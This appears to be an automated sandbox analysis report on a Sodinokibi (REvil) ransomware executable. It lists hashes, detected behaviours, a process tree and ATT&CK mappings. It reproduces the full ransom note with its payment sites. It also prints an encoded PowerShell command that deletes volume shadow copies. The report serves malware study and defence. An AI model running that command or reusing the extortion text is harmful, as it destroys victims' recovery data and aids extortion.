Analysis

  • max time kernel
    144s
  • max time network
    173s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2022 15:16

General

  • Target

    fde92bb9326a8a2c7ee43b2b09442e991fcb9ca2ab750c0a6baae145b65c5f2d.exe

  • Size

    164KB

  • MD5

    af5c2c90d05b7032e6606c61d7f1f631

  • SHA1

    57fd7f567d9df768110e1f2eecf0b50e614bfc94

  • SHA256

    fde92bb9326a8a2c7ee43b2b09442e991fcb9ca2ab750c0a6baae145b65c5f2d

  • SHA512

    44fb4a4d7784773b2fcc64d115cac23cdd4cd1497caeab4d375074eef58d305a29d97f7be0e1fe37eb7faf851a823d9f6698f8c95e091804f7408d8a46edfd8e

Score
10/10

Malware Config

Extracted

Path

C:\8n8h693q-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 8n8h693q. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BB67E5C525508DB1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/BB67E5C525508DB1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: lLtoMfbfZGjcsOPx3leH4uYqvQdKz6+/PTSSYda7K0wR2ANC5tIgryTU6uG7ghfM ZO+Thn+Zcrhm5kO19UDUXLF6dYRugr+E3vEUASi3ZHW0XsO9VavBuQNozNi/wzqa +0KBfXH+/h3/agUtt4bHHEJw2jRocFXdOEQoEPyVhHca29QdX8R7mKk93zN0h6hV J0/eDAtlcz6/Jv3+bWa6BtD7hMFXvbJiUtUbvKrUlV79Tp3Wg4GxVKVQmiFDtioj 6XjjwVeNDfJJt12enz30BieV3TK2dsEZzgOYlQ2coYv6tWpOaaLKxSZNYPsiKUaP 6q2dkTaj9YeKIHdRfP86XX6b4rlwYfXsRd2XK+8wMrCtlIMJ0cMH3wpQw8zt+6Gr ZUTjNNrIm75R8tuXc5TWoTW2e7n5/+caNxRU7wVgkXf7s1pYg30G3xGXT8UhJXqf Au4fj5uU+pIu7/f3GpT9VsGsda5AuexNNtU+RcNRPHy/O07MDBoGJxl9VdQJ3Zbq phbM05q+CXjuaFvOSDl6fc477w4dFJ94PhDppymaP8LoW0vOB68j7dlljVr7LJGu x6sXqmSX6C7Ncaqtiy3BRtahiGsobY8ulH4+UCkkwxflRTo3nZ8knqdox2aQ/r2U t+EyrODDNttGznt7irA0+Iw9EnMcYkia3lG3mfBBp7cpRnAz9sj5vBk2QL5YqM/Z /AK0WS1egfr1rBu1mOaJSvyGo5you5o0ITDKg6+3Lihbf7xIeMeCu6htFen9oAqD 1+m6VnAhRe/mLtpK7BNQNDWBApMoLlQpYQuYnFgHt/VUYAt38HICOawtJVp+m7vY 5Fmxz9tSNPrzCP1mcys9I6ZBYW04crMrzLEZpAJwrpYL5VTiJuDaoRZ2QrctV3Tj Gc/H0KantB2gapApuwSXkQIQcV9KSmD9NAd1Ks1lx8NHXM3O0HooZunkXY2bOKpJ A6qxtRDv+IQO5B3cxb7sAxq7PJ+UaQ/EMk8FDVb/tmWhsq1JWebNGJnmtmzgCbKC 6U/5JIe656kvyag2BtN9r7TZXlmpN1XOaPDJSAylY1bYNVu6p/gMEGJGuHn18HK6 9AaHIM3ihP8SofDOF2Qanp6SMahZfpIs3lORm8hnRplKIBxOzngMKS46bz+27aiY M60hrQgFvSbiQg== Extension name: 8n8h693q ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BB67E5C525508DB1

http://decryptor.top/BB67E5C525508DB1

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 24 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fde92bb9326a8a2c7ee43b2b09442e991fcb9ca2ab750c0a6baae145b65c5f2d.exe
    "C:\Users\Admin\AppData\Local\Temp\fde92bb9326a8a2c7ee43b2b09442e991fcb9ca2ab750c0a6baae145b65c5f2d.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5064
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4712
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:916

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/5064-130-0x0000000000000000-mapping.dmp
    • memory/5064-131-0x000001B650F90000-0x000001B650FB2000-memory.dmp
      Filesize

      136KB

    • memory/5064-132-0x00007FFA55570000-0x00007FFA56031000-memory.dmp
      Filesize

      10.8MB

    • memory/5064-133-0x00007FFA55570000-0x00007FFA56031000-memory.dmp
      Filesize

      10.8MB